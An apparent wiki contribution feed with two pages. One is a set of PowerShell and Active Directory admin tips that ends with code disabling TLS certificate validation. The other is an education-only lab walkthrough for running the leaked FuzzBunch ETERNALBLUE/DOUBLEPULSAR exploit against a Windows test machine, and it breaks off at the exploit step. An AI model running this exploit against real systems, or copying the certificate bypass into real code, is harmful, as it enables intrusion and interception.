<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lphanvan</id>
	<title>ICO wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lphanvan"/>
	<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php/Special:Contributions/Lphanvan"/>
	<updated>2026-05-05T16:31:58Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=AD_Powershell&amp;diff=128620</id>
		<title>AD Powershell</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=AD_Powershell&amp;diff=128620"/>
		<updated>2017-12-17T19:54:51Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: Created page with &amp;quot;Welcome to the Learn-Power-Shell wiki!  # Learn-Power-Shell Power shell tips collected by Ender Phan # Some useful links: - https://blog.windowsnt.lv/2011/11/15/tracking-user-...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the Learn-Power-Shell wiki!&lt;br /&gt;
&lt;br /&gt;
# Learn-Power-Shell&lt;br /&gt;
Power shell tips collected by Ender Phan&lt;br /&gt;
# Some useful links:&lt;br /&gt;
- https://blog.windowsnt.lv/2011/11/15/tracking-user-activity-english/&lt;br /&gt;
&lt;br /&gt;
- https://technet.microsoft.com/en-us/library/cc281945(v=sql.105).aspx&lt;br /&gt;
&lt;br /&gt;
- https://technet.microsoft.com/et-ee/scriptcenter/dd742419.aspx&lt;br /&gt;
&lt;br /&gt;
- It&#039;s a part of the AD module which is a part of RSAT (Remote Server Administration Tools). microsoft.com/en-us/download/details.aspx?id=7887 &lt;br /&gt;
&lt;br /&gt;
- http://powershelltutorial.net/&lt;br /&gt;
&lt;br /&gt;
- https://ss64.com/ps/ ( live with it )&lt;br /&gt;
&lt;br /&gt;
- https://technet.microsoft.com/en-us/scriptcenter/ ( just a blog about Powershell Scripting )&lt;br /&gt;
# Some useful books for rookies and masters:&lt;br /&gt;
&lt;br /&gt;
Beginners:&lt;br /&gt;
&lt;br /&gt;
- learn-windows-powershell-3-in-a-month-of-lunches-don-jones-jeffrey-hicks&lt;br /&gt;
&lt;br /&gt;
- PG_PowerShell_XWIPSCRE01_0&lt;br /&gt;
&lt;br /&gt;
# Some useful tips:&lt;br /&gt;
&lt;br /&gt;
- To check AMD:&lt;br /&gt;
&lt;br /&gt;
	`$env:Processor_Architecture`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- Get Service by its variable&lt;br /&gt;
&lt;br /&gt;
	`Get-Service | Where-Object {$_.Name -eq &amp;quot;VSS&amp;quot;}`&lt;br /&gt;
	&lt;br /&gt;
 	+ Name: is the name of colum &lt;br /&gt;
 	+ VSS: is the name of service&lt;br /&gt;
 &lt;br /&gt;
- Display by specific column&lt;br /&gt;
&lt;br /&gt;
	`Get-Service | Where-Object {$_.Name -eq &amp;quot;VSS&amp;quot;} | select Status`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- Outfile&lt;br /&gt;
&lt;br /&gt;
	`Get-Service | Where-Object {$_.Status -eq &amp;quot;running&amp;quot;} | Format-list | Out-File .\outhere.txt`&lt;br /&gt;
&lt;br /&gt;
- Responding property variable&lt;br /&gt;
&lt;br /&gt;
	`Get-Process | where {$_.Responding -eq &amp;quot;true&amp;quot;}`&lt;br /&gt;
&lt;br /&gt;
- Operator &lt;br /&gt;
&lt;br /&gt;
	`Get-Service | Where-Object {($_.Status -eq &amp;quot;running&amp;quot;) -and ($_.Name -eq &amp;quot;WSearch&amp;quot;)}`&lt;br /&gt;
&lt;br /&gt;
- Whatif command&lt;br /&gt;
&lt;br /&gt;
	`Get-Process notepad |Stop-process -whatif`&lt;br /&gt;
&lt;br /&gt;
- Get-EventLog&lt;br /&gt;
&lt;br /&gt;
	`Get-EventLog -LogName Application -Newest 10`&lt;br /&gt;
&lt;br /&gt;
- Get-help&lt;br /&gt;
&lt;br /&gt;
	`get-help get-process`&lt;br /&gt;
&lt;br /&gt;
- Tracking variable&lt;br /&gt;
&lt;br /&gt;
	`($PSVersionTable).psversion`&lt;br /&gt;
&lt;br /&gt;
![Alt text](/image/version.PNG?raw=true &amp;quot;Version&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- List Variables&lt;br /&gt;
&lt;br /&gt;
	`dir variable:`&lt;br /&gt;
&lt;br /&gt;
- Get-Alias&lt;br /&gt;
&lt;br /&gt;
	`Get-Alias`&lt;br /&gt;
&lt;br /&gt;
- Really detail stuffs&lt;br /&gt;
&lt;br /&gt;
	`Get-Process notepad| Format-List * | more`&lt;br /&gt;
&lt;br /&gt;
- Format Table and its property&lt;br /&gt;
&lt;br /&gt;
	`Get-Process | Format-Table -Property Name, Starttime`&lt;br /&gt;
&lt;br /&gt;
	+ Name and starttime are column name ( property )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- if interested in the column ( property ) which contains starttime&lt;br /&gt;
&lt;br /&gt;
	`Get-Process | Where-Object{$_.Starttime}| Format-Table -Property Name, Starttime`&lt;br /&gt;
&lt;br /&gt;
	`* means if Startiime -eq true&lt;br /&gt;
	{&lt;br /&gt;
		write-host Name, Starttime&lt;br /&gt;
	}`&lt;br /&gt;
&lt;br /&gt;
# Alias&lt;br /&gt;
&lt;br /&gt;
- Diffences between process and function to get its alias&lt;br /&gt;
&lt;br /&gt;
	`Get-Alias history`&lt;br /&gt;
&lt;br /&gt;
	`Get-Alias -Definition Where-Object`&lt;br /&gt;
	&lt;br /&gt;
- Get specific alias&lt;br /&gt;
&lt;br /&gt;
	`Get-alias [?]`&lt;br /&gt;
&lt;br /&gt;
	*[?] exactly ? will be listed&lt;br /&gt;
# Services&lt;br /&gt;
&lt;br /&gt;
- To see the services are able to pause or continue&lt;br /&gt;
&lt;br /&gt;
	`Get-Service| ? {$_.CanPauseAndContinue}`&lt;br /&gt;
&lt;br /&gt;
- Get commands about SERVICE&lt;br /&gt;
&lt;br /&gt;
	`Get-Command -Noun service`&lt;br /&gt;
&lt;br /&gt;
![Alt text](/image/get-command-none-service.PNG?raw=true &amp;quot;None service&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- To set the service status&lt;br /&gt;
&lt;br /&gt;
	`Set-Service -Name LanmanServer -Status Paused ( requires administrator mode )`&lt;br /&gt;
	&lt;br /&gt;
- Get properties of Service&lt;br /&gt;
&lt;br /&gt;
	`Get-Service | Get-Member`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   TypeName: System.ServiceProcess.ServiceController&lt;br /&gt;
&lt;br /&gt;
![Alt text](/image/get-command-none-service.PNG?raw=true &amp;quot;get-member&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Processes&lt;br /&gt;
&lt;br /&gt;
- To start/stop processes&lt;br /&gt;
	&lt;br /&gt;
	`Start-Process -FilePath notepad -WindowStyle Maximized`&lt;br /&gt;
	&lt;br /&gt;
- Kill processes&lt;br /&gt;
	&lt;br /&gt;
	`Get-Process notepad | kill -WhatIf`&lt;br /&gt;
	&lt;br /&gt;
# Invoke&lt;br /&gt;
&lt;br /&gt;
- List history using &amp;quot;h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- Using invoke to remote command thru history ID&lt;br /&gt;
&lt;br /&gt;
	`Invoke-History 2`&lt;br /&gt;
&lt;br /&gt;
![Alt text](/image/help.PNG?raw=true &amp;quot;history&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	&lt;br /&gt;
# Event logs&lt;br /&gt;
&lt;br /&gt;
- See the available logs &lt;br /&gt;
&lt;br /&gt;
	`Get-eventlog -list`&lt;br /&gt;
	&lt;br /&gt;
- Newest log of Application log&lt;br /&gt;
&lt;br /&gt;
	`Get-EventLog -LogName Application -Newest 5`&lt;br /&gt;
	&lt;br /&gt;
- Get the applications logs which its message contains a word &amp;quot;WmiApRpl&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	`Get-EventLog -LogName Application | ? {$_.Message -match &amp;quot;WmiApRpl&amp;quot;}`&lt;br /&gt;
	&lt;br /&gt;
- Differences between -match and property&#039;s values&lt;br /&gt;
&lt;br /&gt;
	`1, Get-EventLog -LogName Application -Message &amp;quot;WmiApRpl&amp;quot;` : it doesn&#039;t allow&lt;br /&gt;
	&lt;br /&gt;
	`2, Get-EventLog -LogName Application -InstanceId &amp;quot;1001&amp;quot;` : it does allow&lt;br /&gt;
	&lt;br /&gt;
	Case 2 is allowed because the value &amp;quot;1001&amp;quot; is matched entirely in the property InstanceId&lt;br /&gt;
	&lt;br /&gt;
- Select category with Select&lt;br /&gt;
&lt;br /&gt;
	`Get-EventLog -LogName Application -Newest 5| select Source`&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	==&amp;gt; it means whith we should use -match to find the containing word in the property.&lt;br /&gt;
		in case if we want to short the command that makes sure the word are contained entirelly in property &lt;br /&gt;
	&lt;br /&gt;
# BIOS&lt;br /&gt;
&lt;br /&gt;
- Some:&lt;br /&gt;
&lt;br /&gt;
	`Get-WmiObject -class win32_bios`&lt;br /&gt;
&lt;br /&gt;
	`Alias: gwmi win32_bios`&lt;br /&gt;
	&lt;br /&gt;
# Some methods&lt;br /&gt;
&lt;br /&gt;
- Maximum value:&lt;br /&gt;
&lt;br /&gt;
	`($array | Measure-Object -Maximum ).Maximum`&lt;br /&gt;
&lt;br /&gt;
	!!!!NB:&lt;br /&gt;
&lt;br /&gt;
		Just use Select to select the property. If we want to get exactly the value of that property. Just use dot (.) to print its value&lt;br /&gt;
&lt;br /&gt;
- Convert out-put to String&lt;br /&gt;
&lt;br /&gt;
	`$getEvent =  Get-EventLog -LogName Application -Newest 19|?{($_.Source -match &amp;quot;SSH&amp;quot;) -and  ($_.Message -match &amp;quot;user&amp;quot;)} |fl -Property Message |out-string `&lt;br /&gt;
&lt;br /&gt;
	* Use Out-string to convert&lt;br /&gt;
&lt;br /&gt;
- Split, In order to split the output we have to convert it to string variable. &lt;br /&gt;
&lt;br /&gt;
	`$getEvent.Split(&amp;quot;:&amp;quot;)`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Active Directory&lt;br /&gt;
&lt;br /&gt;
	`[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()`&lt;br /&gt;
&lt;br /&gt;
	- [System.DirectoryServices.ActiveDirectory.Domain] --&amp;gt; class identifier &lt;br /&gt;
	- GetCurrentDomain() --&amp;gt; method&lt;br /&gt;
&lt;br /&gt;
Link : &lt;br /&gt;
https://blogs.technet.microsoft.com/heyscriptingguy/2006/11/09/how-can-i-use-windows-powershell-to-get-a-list-of-all-my-computers/&lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/ff730967.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
LDAP Scan Map:&lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/ff730967.aspx&lt;br /&gt;
&lt;br /&gt;
Bloodhound&lt;br /&gt;
https://blog.cobaltstrike.com/2016/12/14/my-first-go-with-bloodhound/&lt;br /&gt;
&lt;br /&gt;
Mapping ADA&lt;br /&gt;
https://msdn.microsoft.com/en-us/library/aa746392(v=vs.85).aspx&lt;br /&gt;
&lt;br /&gt;
CSV:&lt;br /&gt;
http://www.jhouseconsulting.com/2014/01/06/script-to-create-a-report-on-useraccountcontrol-flags-1088&lt;br /&gt;
&lt;br /&gt;
UserAccountControl:&lt;br /&gt;
http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm&lt;br /&gt;
&lt;br /&gt;
http://www.netvision.com/ad_useraccountcontrol.php&lt;br /&gt;
&lt;br /&gt;
Param:&lt;br /&gt;
https://www.experts-exchange.com/questions/28587998/Powershell-require-at-least-one-of-two-parameters-to-be-mandatory.html&lt;br /&gt;
&lt;br /&gt;
Format:&lt;br /&gt;
https://github.com/zloeber/FormatPowershellCode&lt;br /&gt;
&lt;br /&gt;
# How to upgrade powershell 4.0&lt;br /&gt;
&lt;br /&gt;
1. Download and Install the full package 4.5.1 here&lt;br /&gt;
&lt;br /&gt;
https://www.microsoft.com/en-us/download/details.aspx?id=40779&lt;br /&gt;
&lt;br /&gt;
2. Checking for update if needed&lt;br /&gt;
&lt;br /&gt;
3. Download and Install the update package here:&lt;br /&gt;
&lt;br /&gt;
Go to : https://www.microsoft.com/en-us/download/details.aspx?id=40855&lt;br /&gt;
&lt;br /&gt;
Click &amp;quot;Download&amp;quot; then stick on: `Windows6.1-KB2819745-x64-MultiPkg.msu` and Next&lt;br /&gt;
&lt;br /&gt;
!!! Mention on what OS (x32 or x64) you are using&lt;br /&gt;
&lt;br /&gt;
4. Restart the machine if it requires &lt;br /&gt;
&lt;br /&gt;
# How to install AD cmdlets&lt;br /&gt;
&lt;br /&gt;
Command lines:&lt;br /&gt;
&lt;br /&gt;
    `Import-Module ServerManager`&lt;br /&gt;
&lt;br /&gt;
    `Add-WindowsFeature RSAT-AD-PowerShell`&lt;br /&gt;
&lt;br /&gt;
    `Install-windowsfeature -name AD-Domain-Services –IncludeManagementTools`&lt;br /&gt;
&lt;br /&gt;
    `Import-module ActiveDirectory`&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# To see who is logged on:&lt;br /&gt;
&lt;br /&gt;
    `query user /server:SERVERNAME`&lt;br /&gt;
&lt;br /&gt;
# Anatomy LDAP Attributes&lt;br /&gt;
Useful Links:  http://www.selfadsi.org/&lt;br /&gt;
&lt;br /&gt;
- LastLogonTimeStamp and Lastlogon&lt;br /&gt;
&lt;br /&gt;
**`LastLogonTimeStamp` : replicated**&lt;br /&gt;
&lt;br /&gt;
**`Lastlogon`: Non-replicated**&lt;br /&gt;
&lt;br /&gt;
It is important to note that the intended purpose of the lastLogontimeStamp attribute to help identify inactive computer and user accounts. The lastLogon attribute is not designed to provide real time logon information. With default settings in place the lastLogontimeStamp will be 9-14 days behind the current date&lt;br /&gt;
&lt;br /&gt;
- Modifytimestamp&lt;br /&gt;
&lt;br /&gt;
This attribute appears in entries that have been modified using the protocol (e.g., using the Modify operation).  The value is the time the entry was last modified.&lt;br /&gt;
More: https://tools.ietf.org/html/rfc4512&lt;br /&gt;
&lt;br /&gt;
This attribute is not replicated. If we want want to query the latest values, we should scan on every each DC&#039;s and get the maximum number which means the latest date time values.&lt;br /&gt;
&lt;br /&gt;
ModifyTimestamp is marked as Constructed Attribute (effectively an alias for whenChanged) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- PASSWD_CANT_CHANGE Flag in userAccountControl (Caution: This bit does not work as expected!)&lt;br /&gt;
&lt;br /&gt;
flag ADS_UF_PASSWD_CANT_CHANGE (0x40) in userAccountControl attribute meanwhile it can’t be queried correctly if improper configuration is set for this flag which means the &amp;quot;user cannot change password&amp;quot; is determined by the access control entry on the user account rather than the ADS_UF_PASSWD_CANT_CHANGE (0x40) bit in the userAccountControl attribute.&lt;br /&gt;
&lt;br /&gt;
More: http://ldapwiki.com/wiki/User-Account-Control%20Attribute&lt;br /&gt;
&lt;br /&gt;
http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm#UF_PASSWD_CANT_CHANGE&lt;br /&gt;
&lt;br /&gt;
- LockoutTime&lt;br /&gt;
&lt;br /&gt;
http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm&lt;br /&gt;
&lt;br /&gt;
If you are currently connected with a user object via LDAP, you can also examine the attribute msDS-User-Account-Control-Computed. In contrast to the userAccountControl, this shows you in the UF_LOCKOUT whether an account is actually deleted. However, it is a constructed attribute so that it cannot be used as a filter criterion in LDAP search operations.&lt;br /&gt;
&lt;br /&gt;
- Get-WMIObject ( ERROR: Get-WmiObject : Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)) )&lt;br /&gt;
&lt;br /&gt;
Setting DCOM Security to Allow a User to Access a Computer Remotely&lt;br /&gt;
Security in WMI is related to connecting to a WMI namespace. WMI uses DCOM to handle remote calls. One reason for failure to connect to a remote computer is due to a DCOM failure (error &amp;quot;DCOM Access Denied&amp;quot; decimal -2147024891 or hex 0x80070005). For more information about DCOM security in WMI for C++ applications, see Setting Client Application Process Security. &lt;br /&gt;
&lt;br /&gt;
You can configure DCOM settings for WMI using the DCOM Config utility (DCOMCnfg.exe) found in Administrative Tools in Control Panel. This utility exposes the settings that enable certain users to connect to the computer remotely through DCOM. Members of the Administrators group are allowed to remotely connect to the computer by default. With this utility you can set the security to start, access, and configure the WMI service.&lt;br /&gt;
The following procedure describes how to grant DCOM remote startup and activation permissions for certain users and groups. If Computer A is connecting remotely to Computer B, you can set these permissions on Computer B to allow a user or group that is not part of the Administrators group on Computer B to execute DCOM startup and activation calls on Computer B.&lt;br /&gt;
&lt;br /&gt;
To grant DCOM remote launch and activation permissions for a user or group&lt;br /&gt;
&lt;br /&gt;
1. Click `Start` , click `Run` , type `DCOMCNFG` , and then click OK.&lt;br /&gt;
&lt;br /&gt;
2. In the Component Services dialog box, expand Component Services, expand Computers, and then right-click My Computer and click Properties.&lt;br /&gt;
&lt;br /&gt;
3. In the My Computer Properties dialog box, click the COM Security tab.&lt;br /&gt;
&lt;br /&gt;
4. Under Launch and Activation Permissions, click Edit Limits.&lt;br /&gt;
&lt;br /&gt;
5. In the Launch Permission dialog box, follow these steps if your name or your group does not appear in the Groups or user names list: In the Launch Permission dialog box, click Add.&lt;br /&gt;
&lt;br /&gt;
6. In the Select Users, Computers, or Groups dialog box, add your name and the group in the Enter the object names to select box, and then click OK.&lt;br /&gt;
&lt;br /&gt;
7. In the Launch Permission dialog box, select your user and group in the Group or user names box. In the Allow column under Permissions for User, select Remote Launch and select Remote Activation, and then click OK.&lt;br /&gt;
&lt;br /&gt;
The following procedure describes how to grant DCOM remote access permissions for certain users and groups. If Computer A is connecting remotely to Computer B, you can set these permissions on Computer B to allow a user or group that is not part of the Administrators group on Computer B to connect to Computer B.&lt;br /&gt;
&lt;br /&gt;
More here https://msdn.microsoft.com/en-us/library/aa393266.aspx&lt;br /&gt;
&lt;br /&gt;
# How to expand the WMI Root Nodes from Domain&lt;br /&gt;
&lt;br /&gt;
Providing DCOM permission on multiple machines can be done by applying group policy &lt;br /&gt;
&amp;gt; security settings for DCOM&lt;br /&gt;
computer configuration &amp;gt; windows settings &amp;gt; security settings &amp;gt; Local policies &amp;gt; &lt;br /&gt;
Security options &amp;gt; DCOM : Machine launch restrictions&lt;br /&gt;
Please check the following link, that is what we need to do:&lt;br /&gt;
&lt;br /&gt;
Securing a Remote WMI Connection&lt;br /&gt;
http://msdn.microsoft.com/en-us/library/aa393266%28VS.85%29.aspx&lt;br /&gt;
 &lt;br /&gt;
Connecting Through Windows Firewall&lt;br /&gt;
http://msdn.microsoft.com/en-us/library/aa389286%28VS.85%29.aspx&lt;br /&gt;
&lt;br /&gt;
# Acceleration &lt;br /&gt;
&lt;br /&gt;
* Creating the object with [psCustomObject] helps to speed up the code in powershell, less typing as well :))&lt;br /&gt;
&lt;br /&gt;
More here: http://www.jonathanmedd.net/2011/09/powershell-v3-creating-objects-with-pscustomobject-its-fast.html&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
```html&lt;br /&gt;
&lt;br /&gt;
$TestAddMember = {&lt;br /&gt;
(0..5000) | ForEach-Object {$CustomObject = New-Object psobject&lt;br /&gt;
$CustomObject | Add-Member -Name &amp;quot;Name&amp;quot; -Value &amp;quot;Test Name&amp;quot;&lt;br /&gt;
$CustomObject | Add-Member -Name &amp;quot;ID&amp;quot; -Value $_&lt;br /&gt;
$CustomObject&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
Measure-Command $TestAddMember | Format-Table TotalSeconds -Autosize&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
This takes 28 second to complete&lt;br /&gt;
&lt;br /&gt;
```html&lt;br /&gt;
$TestProperty = {&lt;br /&gt;
(0..5000) | ForEach-Object {[pscustomobject]@{Name = &amp;quot;Test Name&amp;quot;; ID = $_}}&lt;br /&gt;
}&lt;br /&gt;
Measure-Command $TestPSCustomObject | Format-Table TotalSeconds -Autosize&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
This takes 0,9 second to complete with less typing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Where cmdlets&lt;br /&gt;
1.&lt;br /&gt;
**$file.Where({$_.ProcessName -match &amp;quot;winlogon&amp;quot;})**&lt;br /&gt;
```html&lt;br /&gt;
measure-command {$file.Where({$_.ProcessName -match &amp;quot;winlogon&amp;quot;})} |select -ExpandProperty totalmilliseconds&lt;br /&gt;
&lt;br /&gt;
===&amp;gt; 3.8481 sec&lt;br /&gt;
```&lt;br /&gt;
2.&lt;br /&gt;
**$file |? ({$_.ProcessName -match &amp;quot;winlogon&amp;quot;})**&lt;br /&gt;
```html&lt;br /&gt;
measure-command {$file |? ({$_.ProcessName -match &amp;quot;winlogon&amp;quot;})} |select -ExpandProperty totalmilliseconds&lt;br /&gt;
&lt;br /&gt;
===&amp;gt; 9.6128 sec&lt;br /&gt;
```&lt;br /&gt;
_Reason: Because the [1] does not use the pipe line &amp;quot;|&amp;quot;, it&#039;s a great functionality but it&#039;s really slow_&lt;br /&gt;
&lt;br /&gt;
# Tips and Tricks&lt;br /&gt;
&lt;br /&gt;
* Last command: &lt;br /&gt;
    `$$ `&lt;br /&gt;
* Find Command: &lt;br /&gt;
    `Get-Command *csv* `&lt;br /&gt;
* Get-adgroup:&lt;br /&gt;
    `Get-ADGroupMember &#039;Domain Admins&#039; | Get-ADUser -Properties sAMAccountName|select sAMAccountName`&lt;br /&gt;
&lt;br /&gt;
* tofileTime()&lt;br /&gt;
    `(get-date &amp;quot;Wednesday, July 12, 2017 7:10:52 PM&amp;quot;).tofiletime()`&lt;br /&gt;
&lt;br /&gt;
* String Encryption&lt;br /&gt;
&lt;br /&gt;
    `$Secure = Read-Host -AsSecureString`&lt;br /&gt;
&lt;br /&gt;
    `$Encrypted = ConvertFrom-SecureString -SecureString $Secure`&lt;br /&gt;
* Groups commands&lt;br /&gt;
&lt;br /&gt;
    `whoami /groups`&lt;br /&gt;
&lt;br /&gt;
# ERROR HANDELING&lt;br /&gt;
&lt;br /&gt;
**ERROR: The underlying connection was closed: An unexpected error occurred on a receive**&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
if (-not ([System.Management.Automation.PSTypeName]&#039;TrustAllCertsPolicy&#039;).Type)&lt;br /&gt;
{&lt;br /&gt;
    add-type @&amp;quot;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class TrustAllCertsPolicy : ICertificatePolicy {&lt;br /&gt;
    public bool CheckValidationResult(&lt;br /&gt;
        ServicePoint srvPoint, X509Certificate certificate,&lt;br /&gt;
        WebRequest request, int certificateProblem) {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
$AllProtocols = [System.Net.SecurityProtocolType]&#039;Ssl3,Tls,Tls11,Tls12&#039;&lt;br /&gt;
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols&lt;br /&gt;
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy&lt;br /&gt;
}&lt;br /&gt;
```&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=128616</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=128616"/>
		<updated>2017-12-17T19:43:57Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Executing the FuzzBunch */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
&lt;br /&gt;
Video Proof: https://www.youtube.com/watch?v=6VWQcMP6v4w&lt;br /&gt;
&lt;br /&gt;
Nb!!: For education purpose only &lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.&lt;br /&gt;
To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server.&lt;br /&gt;
The security update addresses the vulnerability by correcting how SMBv1 handles these specially crafted requests.&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Execute FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
